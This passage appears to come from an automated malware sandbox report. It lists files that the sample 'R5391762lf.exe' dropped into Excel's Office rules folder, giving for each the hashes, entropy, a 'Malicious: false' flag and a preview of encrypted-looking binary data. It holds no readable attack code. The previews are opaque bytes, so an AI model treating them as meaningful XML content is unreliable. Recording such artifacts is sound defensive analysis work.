14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule23068v2.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1018
Entropy (8bit):	7.798287406420914
Encrypted:	false
SSDEEP:	24:1BrvNMZJQdDNsJrfdr7HgvPPuIpNz4pvskvAZXq8uWbD:1BjNMHANsF5HK2IpCpvskvYXFuED
MD5:	34BAA43A4EAA304A917866A3B7CF1EF1
SHA1:	76156B2F503E0DCBE9A255E13B468860B3BD1F30
SHA-256:	FDB6548AE7356FB7C77A7F0E12AB7951CA22821A99C3E4F788A628CF83E52491
SHA-512:	3FC01A6DB857DA556922E225C8D611A75F2E7BFA3EC67D34187DD06EE2E28E707D3BAF8C97CE1AB8DF49F195243441C21A568296656387F4B607A939562EEB88
Malicious:	false
Preview:	<?xml.F8.......{.?.y.\|.D..._..5....y#...('..Au.K....O/......u.{....p."...TM)&..O..T.z...m,...&Q.O1......7../...& . .....rI.O=..M.r...B....pk0.E..!.>dN...J...a.M.S]..g....b.5.ql..G`h..p.\|..$i..4.?...f.@..h.B94.P......m....L...0Q.0>=.E]..T^\|..H...5.m..E..E...Oxw..L.?.Um1......#.C..8./.w.........H4A.V6.Ks3..x..n.[..../k..>M.'.`s.Z....v...sY.y..~4.....$..{h......G.......@..d....&:.^.....aG"....]whR.In.F....Ar..q=0.....2.E:.l.c......k.....C.~..D,[...P...n...D.=)......s.!f..gc..-.ko.j.U.i.W..........}#...v..3...v..v.B..X...7.PnF..8....oT!...oZA.^...-M..t.vR....xC.^.....!m..,..#.......so.A.q...."...w...... .,.w.....[..?.i..0$..0....+................ ....x"U...+...O.@....R..h}.;>..i.1S....2.g.h[".w.F......%.U......J.Va.;..p...F./......v:..F.......C.o...7.,8.q...(T.M8.=...T...6.b..r."+..d.{...<.qL.6^.<O/..a.^.......-L$...Ay.)m.H.."...Y.....e.k..HJ.:\../.O.(!.ZD..~...}KD}0.f.R.K...,..a....doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule23070v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	758
Entropy (8bit):	7.70449580410971
Encrypted:	false
SSDEEP:	12:CsE2gDqMWox5A13n3Wxk+GW0NKZfKVwv4Mg0Pa8EjoK1JxH6Hv8uEd30agnITrWS:s2gDqMjG+GNKZfV4M7i8ooK1Dsv8uEdJ
MD5:	F24A1814C8A014A1DFB257DCE9586FE7
SHA1:	23CB67A3E8854B077379F16F0AA31AFA22D610AA
SHA-256:	51F8E1DE8D4AB74D46F2CD08C28C2EA21F0C59E1E1036853CA0AFAE679879160
SHA-512:	0C53054B4807ADE9AB74719C4774F6C3BA4051F6A56042E721B4B011FE556D32F3E0FA96ACBBBCD9BB1F5B76B7AD8631264BAF8DC9B2667216961E352D7269C7
Malicious:	false
Preview:	<?xml....h..Xp.2..P....../. ..e......9r.\..xTq}.HF.V..,..=..4i..U..N$g@.\.J.....qj........{....m2xu1..;5....c.r.\|.2.........g..3Y.u...\|........A.V...c.....MU........6.......q..Q. ..t}..}x{..:#'.)#R..Nh..j....6G.u_.M.V....#....'=9.O.oXd...Q_&D4..&..RnA......g.v........h.5........\I.....w..5M.{.N........=. ...&.G.@..A..1...\|-....^.p.......Y........r&.frv}...#V..U6i..y.GF^.d........8".......K..{.Q.....1.Y.D...VP...h.\|N.e`....J..p'...Cp....P......3..s.e.b.Z.lH.....s.......}H..f.?Usn..k..!..v.."...{.P...{x.&...bK.r..<..~..&......x.:..J.,.x...L.U..iii0^._.q R.........5..r'......>....r.5..l......\gVk........4......;.1..Q...+......w...,Tdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule23120v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2643
Entropy (8bit):	7.928582974643573
Encrypted:	false
SSDEEP:	48:g9ClW3w8eAPvKfJDO5KaG6EgP86mnC0JVuAgRlpuPW/ZqcUFUYKtaXFuED:g73w8eSKfJnarEgk6mnC0JVuAClpZRSb
MD5:	87ED304D76758D902020E6C6FFC43381
SHA1:	CD2093676CEF4DAC8008530501E9AF25FBD8DA0A
SHA-256:	73C3AB20A713342FEE09423139E7EF92B246CD1D347D8CEB2BEF968E50D21C1E
SHA-512:	65D3415072F7D210A8248C95DFC199D4CC31EA8E403B3A852AA13731B339D96BE667470D0F72A3B3B424F6C76D3F61E22A9F47153639C96B31DEF731FBDA76F3
Malicious:	false
Preview:	<?xmlRo.nJ..7.....P...=.Q.F`.....7.~1....+.\|.A.....C.....uX..gr.&.;..=H.Z1J(T3 zx.d...Mo..F...OF.>..] .......U ,........5.B...n._Nh..SAU..JV[.qE).u.Nm.../.^.qp.\x.^i...x..S...r.p...5`.......,....}BS......G..[[R\..j... .N.....^........Z.;x.d...'..%..&.?.>...t.....$.....=@&.k.p.Ve).U..9..Kq.4.Z.KZZ..f..pE..d..F.......;.........{....[......g$.a... .}<.....pL.C..{..._[u...2..vMo..]s........H..2........@.~....\o..5..k.[`....]=.P3......V.....P.....;..svH..GoT3`7P....e...<..........V........oT..).rE./l.:{$k..3.....\|.)..e...x..$........902...B-.o\|...B..k..@...66..jp..Xr../T...G...Z*.^..9..N.N.v..s...f.....I..+..po....;......_P..4...Ku..F./...a.......F.L.x...I2.T...... ..wh.t.....y. ...a.!......._{....x..C..(S..!...~.....I8.):..k...1....T.p.b.iVp..g.,^.=;3.i..:[U..V..9]3L6J.b.XN1.+9m.l..~3...t..5..H.)%C.N.8...............R.P..].t;.A\...Zw.M.9.!.B.....1....,......T.6~.Z...!Ycj.......)[. .YC..9L.t.....}.......!.-..v&]..N.N.!..lh=....ft..U..W

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule23122v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2238
Entropy (8bit):	7.914162100666249
Encrypted:	false
SSDEEP:	48:z6bVv49O7weaX4Ghyjczu9QAbnB4Ky5ORsRWMVIsXFuED:zuVvmWw6gyj7bBnys0LFuQ
MD5:	579CAA3A79716E217644FA96F9064C3C
SHA1:	F65CF2B0C3C7807BDB5530FF4DAFB234578382E2
SHA-256:	E569481F5CC3DC73BE08CCC1F4DFE3E3C641BBDF1BF628E5E9C1D5471C3A30C1
SHA-512:	37DD0DD87ED5B888BBF1DCF959DA5B274DD98ABDFAEBB2C5367A51B7545FBF5DE9FEF4331016514EB5148B703374AF4E638C975B9DF964FD55CDD8995D82A0DD
Malicious:	false
Preview:	<?xml..4\|YE+...Y..y.y.3_..p.8M<..Z..E_c......D..f.....Cs...>T.LNJ...v8.5.... .4.&N<.N.....iv....#..~$.2....(..k......@.....~#/C....x;.{.WX.,.6.?...5...eQ........(8....;.......j%..a...X....0/7.d.....>.J.qAp.$....l7.W6...t....g...-...(RA.q.[0u..LX.....`..J...D.^F...R9x..\.zm.Y....w5.!{..../......Rr....."....h.~...7..]....K...s^(....S..Q..{rj7......)$...o~..G]L2..K.I..s...z...!...fW..o......L..Z.....k......}.e.dO...t.......{.....B.u$....P../w...n.4u...9.....J...K.S.i....b...+....Al%...~.....S.U..!]..1j..p..Ie...S%AD...Y..E.q..[..(2..M..Z..y...G.IDI.jo..F\..4.G. .`....Y..5...Xv..G.(.>w.~.+.^j_...4....,PV.......d1...#..U.-..74....c.Xw.\|R../.Z.2....$.....~...B.g...a>.Y1.V...=`..q#)......g&..%...=...&...R...L.M.&.c.V.....p....C^.pP..d.Tp...f..Z.Pl.,...\|..+........].3.d....Q.T.....'L!ml.._g4 .tH;...0...5...lJ.B.C.~.z......Fv.e59.}.b...VG..l....N=gXXh..V.b.....!..........'...T..1\|.B....B....I.qEa."Y..{.L..[U..\.E.7!..He.....dFJ.G@6..dr...}......z.`..I]j6

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule23123v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2345
Entropy (8bit):	7.915194858248175
Encrypted:	false
SSDEEP:	48:yDsXhTwlF+7VLiNRC7HTVXL38slIOW9vK3Wa2TpUkuL7uXFuED:yDsXB5lVbLeymnKMFuQ
MD5:	CA393F91F856A4D43B0CFC0EE029B72A
SHA1:	86CE3B8F353FB63F83A0E1390E9B2A4430CAFECF
SHA-256:	D98681D8194B388B360CADB96747ADAADD5E1ACE4F790E8BD84847FE81E2C0CC
SHA-512:	61696F495DBE72D19EDA8D982FCD43E7C68EA5FEDAFBEA4C800318422F6717981A43D03929312BAEB88E822A2418076C9369D0BA5D5119532CFA44DE02EF2A90
Malicious:	false
Preview:	<?xml..sP[.......r.(&.!h..k.h..0...j.;..(.B..n.....A..1TF.\)..rS..G)..U..uP...J...$.R.P...E...g.U.br.1....)W...{}.j....6yo.3...a)f0..X...gr$..)+.a^.0...m%k6Vkg...$.C\|.$.k.....B;%..[.pm.....2s...c......(..Cg_.....e.....$..US...8.b......)(.I:b.m.p..Q...l...J...:.=..p...]..k..O...Z.I.V....xag.h..1...2......^.g..uM..g......s.Q.^...O\|!.Dk...'.......mX.NH.... .t..lL...n...!..e....x.}...h.....-.....pY.4..{.M.n...........e..s... .M.....t..Y.3..i..............:.;.....!2.g.U.2)z...x....t.Y?S_.S...Y^Vq9.....D..Zm.}T.{4.H..I..z?..p......9".7....GK./...^..a..hK0q.\...E.]..w].1..<.....^.i...6.:..2J..+'.:.A5D.CU....b...u..J).........).Y.&........\|.q.i@..KV......c...F;.........7h.P.)..h...C#...j.u.D..V..g'#.y..j.i...m..........\|\.._...@Ck..ox[.,rf..3..i..[........xU.Ckw..;Uuz.......^....9..4j..'..f...9.W9.R....sN.K....3..9.8..@...R:PD@.t.yj..\|2...(.h...V..@.P.EQ$.`.................R...y.a.j..0..&.6S..$7.[...S3XC..O.0wo..?..{..4.....9.........X._<

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule23124v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2374
Entropy (8bit):	7.928245850160018
Encrypted:	false
SSDEEP:	48:9TzefHDpWLhFUQP63L+8GYZ9FsVMrQQm98LZ2AatWMESwC0qXFuED:xz2t0F3P6L+50HrQz8LCtZEIbFuQ
MD5:	22398EC7834ECAE8FED16C57E6D28519
SHA1:	3D26A632D4DD4EE06680418F7559C266D71EE934
SHA-256:	078699E0F7A58EEC07CF6F13A50746C9C1BB309ECA579C322D1F01CE244F8E56
SHA-512:	50D526BF49912420E9CFFC35415730BB3D12BC1920BDCC83407337D48B76B8841F6D1CE625B519CC8C407D113A1F7BA1B1FA358F5C8A0E8C4A2D666F545F276B
Malicious:	false
Preview:	<?xml^......3..Z.!w.#..A......=.._.......\|..m..X.`..o...g.G\..f.~...[.......6.V..@.b.Q.R,vD.8.....^.{..J./.C....,;....jTi...-....H^.{r.....4.G.8...w.D"#..e#..=G..9....X..-..[.J.5......K..m.9p.5...4............e.x9..-..d#. ...I....a..{.!...-5O1).-...(.l.........h......[\|...Bf.'...)../..LE.^u{R\|.L.X7...q.......}.W..Mi........`).?...3...LG.....}..z. )B.;...Q,.I..>..3.r.M..>.q#....J..IB+...h3SA.j..Q!.,.......K.?c=Q8.V........<R.PG...d..=Ml.....B.....&m....K.AF ;<.....I7......uzA\|.h..g.U.3E..../0M.!...s.P.r.....^&.3~.N..qC.#q.\d...\|n.0....I...~.!.../..Q.V...`....+-.<f...,6O.......6...{....J....K].p.T...I.pS.b...k;MZ.<Q..5..UB-......v....~..L.c..mX.g..>kB.+..A9..~.XK..P.../........\|f...{yu...V.t.....D&..~..f....X=....bw 4..1.b._ub..%..EQ....W.!;O.N...L..C...s..~b\.......Zm.>...H..$..VV..L.y.K3.[....R..%....o8.Q.Y.>...O...:?......1...sC.i.Z\|L..q.M....r...S.8..A...O..{.C.4......i.....5`.Z.)/&E.J..W......C..W#e.)j.F~8n..h......k.5...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule23125v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2224
Entropy (8bit):	7.91084917988061
Encrypted:	false
SSDEEP:	48:BVrqjfNJBuQSxWKaBadSrhhcR0YSwtq9xQOAiwvX8wNLtQX1WVmKXFuED:BVr4XSxR8hhgY7QdvX8Me1WAAFuQ
MD5:	B72861F1CE32021FEA9B49D50C2725E7
SHA1:	EDD9AC8F1A7065A96B02FDFADDDB58C4C9F30669
SHA-256:	A2806542A8606B92AD1E49918D0731F57146160BE5485D200A5C1604889D715A
SHA-512:	5F1D26FD0EA8872E2765737ADF44241C41539CD9F69A0819313C45F8A4F9D10C36F01712F84DB7CCC215C3D806171BC8320F618F0CF9479C511C543103EE5C16
Malicious:	false
Preview:	<?xml...B.....{:.1..F.......C..1b2...-....,9i.'....X..+.R.cT.7.7.....{...{..Ew\|?.`h...g../4....H.]B.k..f5.{.....>IV.6.b...r_.$.q..>Zb3...1.......Q^._a...jm...9o....w........M..T.N./....1....Y._.....;:~4!...x.!..O..5e.U.f@m.j7..:<sH..2.zk..E]...}p.\..=...u..;II.V..\|%/.\.E.x....PA..+.<.....+.e.W...c;........hQ...z...M....<m...}...)..@.i.+1..^F....... .Z.a>G..3..>.....v.\.U..:Jo.?].i0p.}...\+{...0..!.J...R?..B=...Y."......&.z..H.;$..P.K@$z/8.Y..5#..7.,".#.....J.. ...f...?'...Y.m.."....M.....e..V.`r..]..B...Y.@...P..........O.W8.?..s....c5.{....T.1^.{...v9QofF..V.l....P-..?F...c......8#t.]?..x.c...2......\|M).B...a......y=......N..Yo...x..$...Jv..&..By..".Q\|^q5s.\.F...]...RWol#wlL....r...h.._..b..+.b..A.-7.u..<9..a]'6V....S\|b![....c..)...U.<!f....xd.oc.A]7....Q...=...}gM......>...c..tg...[..u....H+.(.r.n.;.=..\.#i..!...i.(4'$V'qt.. M.=.~...9....m..5.M.r....\....4U..m.qo.SU..HCu.O.X...[..o....F....W.....B..[......*.8.....2R.%.A+...6.?/=9?

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240005v8.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1547
Entropy (8bit):	7.868893963273221
Encrypted:	false
SSDEEP:	48:T7S5ZlaSLAa3joWJ0AnF3NVB1Tgy3ImSIykLQkx0RAXFuED:TAeSLr3jBjF3lKy3ImS7kLQkxiWFuQ
MD5:	6E51BA15E0D14E12D5DC76B0FAE981A0
SHA1:	CC66B08CAA41BA02E20645741655031F7E20FCD4
SHA-256:	7F33A894C096595C85E35BE37B4C17908B83EE998FCCF56A9CE252229445BE2C
SHA-512:	C0CBB1FF230B87126EA3AE87AD2723B7FE43AE794FE4610D43BC90F5665A55D3571D7D829E14DA4CEA237F36782C5E20A85059FDD4DC95399F72A821B32BFC24
Malicious:	false
Preview:	<?xmlOv....C.nN........j......a..`/..x..........}v?5.o.....9..X..N.6.06.....8..r.."...<x.._.\|...(dBu.V.e.....9r.....j8......5...,Q.z...4......x..p....U.uq..DB.\|wSP@]s..W&...W.....5].B.5.7w.k.. .N7..$.. ...-:.rJ"./I-H ..{.... _E..JK(...f-...?..^e...".s;)...O..b...;..MZ.J..K....?..n#v[.%...)..{.......-.y.....Anp....M.=aS.Ex...."..x...[...#..........7..w(5...+...Sh%P.....8f..h..h.8.El..NC....>...5.h..e..hO...!......V..."..O.y]>$.;.....h.....Z2.v..l.....i.`.q`...M................L..nv..`dt;JU9......{Z..w..$..C.6.C!.K........(..:`...\......RMo...q..K....[..;w........x....[...2..f}..W..u....:..\.p..x..r....U.F...8.5..r.-S..-...a...........:L3K....\.........'{...%..^.g..~....P..........4.G....fL.J.......6.....&I1+./.?]AL......xw.z.........FX..3..p..h....0........T...7..c2.....2x.W:.....U.....7...n.jc.R_..v6....e\...u0I..i-)_....!P..,j.G.~.\qQ...[S.,.9Z...J....w...OW...9.7pHy..4.......w.D%.!YfNk.....A..pl..WW......l`I..,.[Gd...d

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240006v2.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.734489255427888
Encrypted:	false
SSDEEP:	24:uJVsNf4q683psq+ZgFhu75N0j9s9TBkWHLyXq8uWbD:QaN4q6epH+do+9TvLyXFuED
MD5:	005BA6A0ED7798B2652437FE889EA2E8
SHA1:	F067A4E4DAE4E303D903742278509EF3A50CF95A
SHA-256:	0859F71CB44763718E121504539E705744F026C8501C82D923495608BBF458AC
SHA-512:	AFC6A67479E93B40DDB56AC5B084440C839F250334A130E0D367119F2CADEA179FEAF59010DE24AC876D134B2FA2E023DD158A8F57BBF777F287F5864EDC7018
Malicious:	false
Preview:	<?xml.....v.z.k.i..'..M.V.{.0...[.. ..1...=....d....b...je.A.B.v:.m..'.5.t.:!.. -..C..>.,.....'....R. W.......Lx..x.=iF#.}O.w9E',.1...?BQ.B..-.9...:PD3mL...[..j.R...8.7...E.._.M.m\|..0.^h...}...P..5..t.^..,9..i.K...b...:..a.G7.H.%..&..4.9.e.l\|Y.fk.Tg. &.Px..Q1..~..w..e..w2.3... ..[....E.Q.<..g....D.=....vP.(<.j.g.u..d ..l..3]...5t6....Rw.2%.+J......a.}.....G.,$$...b../E`..&2...Qe,.x.H....X.w.n$.N{G.......t'.8,...k..\...W...N....2.>.S.x..s;.s#a.y.}QuWj.. ...d...R..(.\C..E.u.....~",....A.+...JU...Z'.].r&.....B.....E.ZIP.%F.....`3......F.....C(.6........D_..j..m...R.l.........![...t..'...e^W.$.#f..Q..Nps.p..._..JwZd.........\|...=:=...*K...P..m...w!W....V`G..or~X.xAhb.../0R<=\|V[.......b.....g..hdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240007v2.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1823
Entropy (8bit):	7.886722159034536
Encrypted:	false
SSDEEP:	48:6mhm9K3Suf9TMWvj3muBTknreczwlJV89AdBYoT0asdOXFuED:JTfhr9Bkq89Ad6ksiFuQ
MD5:	FA28FB1C0E96EC0342F244037F6BCC3E
SHA1:	48CBE68B07AC4D44C6653B54A3A7BA33E43581A1
SHA-256:	51EB20A3DACF3AA718C8CC15DCD5C973A918E742720B27A34B39612C97DE9675
SHA-512:	616EB8DE30358B4ABD84CB3BE18FDC9BFC1C6518A7AED74BF3E07B9177EBF9A269E266896479ACE9C56927C9F42CDF45EC41457BA9E237725D2CBCCF02705891
Malicious:	false
Preview:	<?xml.3b.....a..\|A5!...x.3..K.V.B...x ..lj.\Z$XA.....Si..d.(..,pm'.R..{.^T_.`7.s.w.;.S.9.. .$..C:m.I1....l_..OB4o...p..b.A/A3.....(....e(V..ufO........z,....Q....>..e..).&.e...Z.3......\.37X.....qL.].u..p3.Z.......]..J% `iGT.3.ry}...Z......#..dW.1............h.......+....x..5.6..}\|.x...F.:).......KJ...@.{.6.......'.}\..d.%:..e.....=Yf.wF?.#V?...aP..... (C..4.l&d....l...\|............M..?.z.....b.....BZQ..y...Y....aa~..\|qd@.K.B./..LS.!b.\|b.d....n....u.s_"..%%...#.o.0(....$..:....7%L..f.....3..M9oM..LS.3\..-..\|...@....]}..xY.$qh@..P..l.u....m..<.8J....~.f....G.0...g.....p]..?...]S.&5.?GJ..BU.$..fp...T...0.......P..c.3.8...eu.b.OCX.]4I.~]..5.Q..b..4...."....xY. ...3O...U..}......T\/..:...a.2L>..~.....)..3..OC~ ....27.khd.'.Ss....5.B......%..G5.....k..{.n..o.$3l.[..f.w.<..."r"p..&..#.\."Tr...{\....t.p.).].R.T>..'w.Aa... 7%o.,.!...-.4..j...!.^.N..t..~....d...,wk....*.@.MJ/&=l....?p.[.._.%..3..f.;..:.7P.8o...Z...n..P......X....o......"...z{\B?..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240008v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1136
Entropy (8bit):	7.823383266823518
Encrypted:	false
SSDEEP:	24:wllgICrkkJwiqpJdQuWJQmcjPX7Kni7hAt5sXq8uWbD:alMBz+zQk5PX78qhAt6XFuED
MD5:	EBC8E14875440CB847A930E9B459C442
SHA1:	4A05C0B25466662227AF4004C94802D3DCA16B64
SHA-256:	C50FBD32BDECB07BC58EFC25914B53C54CEF721DDBA6E4CCE7C578505518BB96
SHA-512:	546D1723D589EBD416CE7E34AE9C04CE9361D0E30F6927E71DE0142D1A3C3B68C554728193455D84A88D3C3E165DEC3F5B16235381FEB611B422CC9A67BA1F49
Malicious:	false
Preview:	<?xml...G7.e.Bso.US^..2....TL...-v[>/......R...q.!.y..D.....]...S.J.W...c.......Y,.\|.v.\|..Zes%.%>FC.J.!...b..u...<..^k6.H..U..=-.......0......?..3.U..N;?..@9.R}.........[t......R}.A..p..x/>[>.'K."."...,...y.-..!.X..G...m...Z.5.....["O)?O`u...wy............T...q....l#E....d....>..OL.[.Soq..v.......9.y.....:."(Ei...V..[..H....iF..3w.1.a...a"...0q.....5.s...\7..v..$B....jf3...&.......j..c/;Z^.C}..c.....G.6.A.....n..N.5dn.M...........Ju.?.._...uX..,.e..q.JH.N.0..w..S.:.d....N\|...\|m.5D`..=..f..k.....96.4.Pv..0.=....y..4.B...P.4.nF....vH.4..'..dH._...b.'...s/...D.d)#.kR.8.N........R?.>.M.....S..M......^.]...........kE..W..&..Q.i\|7..x+.........,.....]B.\|.n..Z.m.........W.bH. ..Z...{i..Fk.:..4<..w:.....A....BL..Fq.../&........}.U.....CQIM.A.#W......{O......G..b..L..XI..~.ya..B'7.m.....o.h.n...q.jX....pj.@..7h0l...5.(.].m.\QZ.b.."...7.QS.G..$>Ll..g0.'...#;l.P2..x...W`R....]B.....r...`.6 ..[.."..jn.R'...t.=.s.u.9^..}....Z.....<..4...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240009v3.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	834
Entropy (8bit):	7.740173254524902
Encrypted:	false
SSDEEP:	24:QLF8efTFA7tStlpVA0yi3VcvkNGbvXq8uWbD:Qtf5AEjzAVMwTXFuED
MD5:	61F6681ACB7EE5CFFAAD026C148F9A91
SHA1:	047157E5B392EBF65DBD58ACCC2031AB20D9BC7B
SHA-256:	34C39708E2A0D09743042EB24D67C467B128841E847F4444317C750085A1C41E
SHA-512:	128C80832F1F8CE1CEE4AE16825AA5331C65A6A87F9D3553813AEBCCBFBA6CF2D9F32B4449CC192E26BC33C331EEC1B9887349BE8FEDA3431D687E2AB012D5B8
Malicious:	false
Preview:	<?xml.....,.eQ.S.2gu..>....x..b.B^s.}.b.'CN.t0\|..?i.....D0..k ......(.F!.W0...f......6h."....F....:f.9mD,...R#..~.S........t..Y..P..#.q").H.....x..O\|...L1.._%.=E..r..2K..Xg:5x.../...Z.....B)...K.C.f...W...-....x&.7._....&........A.o....[.U;....3.k ...%.....2Q-.A..C'WU..<...5.).$...e." .Ob.,..f."..^.5h"B.i..2.uP...2.."...k> 8aEW.......H.....5R.x.kc...3p+b.......>w.$2..:...z...y.4.v..N.....3h......^.c..XB&.O.*..d...;..E....3..VW..d.......G.u.S...o.@..o..d...\|.K..y..X.......8QB...Sr.~.......y"..K.j.y..=.Hp..".....B...OM....K.L....G.O].D ..N.q.<t....&7!R.H.9.z.^...6H.'.G>%.L.!..).v.:..d."......s.D.. ..6...^.5.'.......D..);...#.G.>..a.H..v.:..rO',6S#n5._.m+..i..G.6,....D.X.glB.....&...SvH..../......+.V... I...(v7.0.udoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240010v2.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1006
Entropy (8bit):	7.808098113834981
Encrypted:	false
SSDEEP:	24:Lezly1oEbsPlWU8YfpFMxLieiupbm/Iz2oCTCpjf7hXq8uWbD:Le8bsdWgFMcu5m/YIC9XFuED
MD5:	2E1410DB2E3FC735FA30E9A8D0E4C08F
SHA1:	DA175DF72ABA2E3E62A45EA33BF75D816F8F8CE2
SHA-256:	DE7EF41B43AC5D141A54DE97EDCDA0D14B1906731CE7D662A932FB400CBBD049
SHA-512:	768FFCB4607C6AC853E973F1CFEF3119AA6D88597A5DE06B9D60F7E9FC23B9A73D2E1F2201C8BC0EC146B63D2D5EBE3E341559DDB2BDBB4B3F7286141ED9F89E
Malicious:	false
Preview:	<?xml?.Q.>...G"..!.........k}E.Lt..B..R.T."..>..B......A......e<....%5.;.W~%..d.C..'.j.lJ)...7..i....q.....t..s..4.N...).=0...2(o.y..I..."W....5z^...@.Go..8."T.2..y...\|..n?\5..h...u+.FV........1....PUN.;....a.%.#A....(..0?.lMJ....x.ZM.o.#<.3.....\%L.}d'k...S"$_....0......Y..z.....j.S......._.;..=....\|...\w.$.t1.t.0.^...K.FU.....~..2.....y..2L....FL....OC.&.q.+...n.......=...!%...eN@.....@E..<,qM.......~V.~......K'6t...o...5.S.1.)s..e.%.G.......+.7$p.i..'..,.`..m...M...,3'\.50...@R..^.....G.3.[tIS....rQdf.{/K..h..w..}8<........:.?o`...Z./...0d.Y.IR.2.....&l..x.......U..0]......d...'n.E.Y'.og\.).._J.....}......:...u...Q..5..d^.LV..E]..T.n...F&.*T.:Y}m..:../.....Od.^YS....%O.>......ARk.p...u..3....2.OY.........%..en.hL...._...&o.j.s<A}..^.../...r....l.FV.hH......".\u...s..^.1.lZ.y..td...>.r%u...>...c.\|4....HG..w{.x.....1\|"!\k.=...I.%..Q..r...t.@..H.+....)..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240012v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1022
Entropy (8bit):	7.821087878834225
Encrypted:	false
SSDEEP:	24:SkJtyZV/dBhphXiTX+Kv0+piKW9gCSYiRIB+HVJVVDzTInPEuXq8uWbD:5Tyf/lphe8+pp0WYmIQH1Jzsn3XFuED
MD5:	59E6BF84CBB1ABCAAE56A81A87369B67
SHA1:	62F8DC4D7DD74627F0FEBEA288CA13296D3CB5CF
SHA-256:	A7F84C3F98985CC61F329F7AEE3B441D9A941C649435FB15DA137038A3FB5724
SHA-512:	11A489AE26EE04E1594D1E2C3256254E59A70DF301D727382A8D5E46EABC58E888F0D9794558B91C027F40446A18FF06F6B78DE2E224F83C13518204E5C52106
Malicious:	false
Preview:	<?xml.>..to~L!.{.J.n..cH.......o.'q.a.,...M.5=.eP.......T?0......[..`(w;......{..a..........b......D..d...e.k..5..&.P..q.^t....Ng..dX..'.o..+......X.. ..O9.@.8..t...V}..I..G.#5.2.w.......9.i..6........@..q..Lk...i......\/.\|..!J.@.7.},......x.i..t.eW<...rN.R0[..f .Z... ./zk.....d.V...y..hQ..T..."z"..P..80..XC..=.p.V.o.....S...^w$..uQ0..dEp.!y.......C.W..r.,...Bb.Y..Z..J.)....n...3.B.....j.&..h....+...<.;.qis$.".Gp...f..^.#H..dOyJ..d7os..&.SL.,.)8.j(...O....9.lQn..F..M..G...zK.....e..e..\| H>8.).(....d..;/...S..a.p...}S.......!.w..IP;j....J.ye..........B.)...BzM..=..4...L.].{.>...........P..@.s..........A.#.....iuR...X.%B.#....X..pL'N.J.\.`;=....._....Y......2..^}..........%..&.Q...P....y.\.@:...L.V.wY....@[..f.+&7..c..+....wd.7.A.hH.<n5Y"..H...^.>.:,+q.ew...e..p.vh.MA.4...........Sw...l(....."..:..mm[.-...G.N~..&M4.&....2....n......K.....@..C..P.".....A.z.............>8.^^./...vS...b..7.D.p..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240013v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	831
Entropy (8bit):	7.738066696544013
Encrypted:	false
SSDEEP:	24:s3Tz4iHQ7HKf+qzXnWCVgF8I5xlj6Xq8uWbD:sfXwHKWqz3gB5DeXFuED
MD5:	C6951D5BCA31768ED294115B1C7A28EA
SHA1:	44432E0FA8E76763F58C27D730E826D358C0FC62
SHA-256:	1DCF7240046AC8B08FFFD29B37A8BC885FB3E9E70A5486CAEF43AFE16292ABF6
SHA-512:	898EC7A9DA15170FD5456A0B4ECC6016E89F44CC4BBA7E0A466E28B000F3416230AEE29914B4B4B7B0FFAE5D5086BF58B97726E6AD98E184ECEBB163FE80E211
